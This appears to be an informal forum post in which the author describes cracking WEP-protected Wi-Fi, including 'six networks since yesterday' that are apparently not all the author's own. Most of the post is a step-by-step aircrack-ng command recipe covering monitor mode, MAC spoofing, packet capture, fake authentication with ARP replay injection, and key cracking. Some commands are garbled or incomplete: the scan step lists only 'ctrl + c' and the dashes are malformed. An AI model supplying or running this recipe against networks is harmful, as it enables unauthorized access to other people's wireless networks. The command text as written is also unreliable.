i had the orioco gold and gave up on it becuase the driver needs patched to inject. As I'm a linux noob and could not get BT installed to hd patching the driver was becoming a headache.
Got a netgear WG511T and followed xploit's tutorials, cracked 6 networks since yesterday. The netgear works out the box. Flawless.
Have scripted xploits tutorial after collecting around 3000000 ivs I cracked my 128 bit wep with some very strange characters in it.
Wep crack commands.
1. Put card in monitor mode.
Airmon-ng stop ath0
ifconfig wifi0 down
macchanger -–mac 00:11:22:33:44:55 wifi0
airmon-ng start wifi0
2. Find networks
ctrl + c
3. Write monitored stuff to a file
Airodump-ng –c CHANNEL –w FILE -–bssid MAC OF AP ath0
4. Fake authenticate & inject (open new shell whilst running airodump)
Aireplay-ng -1 0 –e NETWORK NAME–a MAC OF AP –h 00:11:22:33:44:55 ath0
Aireplay-ng -3 –b MAC OF AP –h 00:11:22:33:44:55 ath0
Wait for around 250k-300k of data
5. Crack the file
Aircrack-ng NAME OF FILE
It is too easy once you cn get backtrack running on a laptop with the correct hardware. Infact thats the most difficult part!
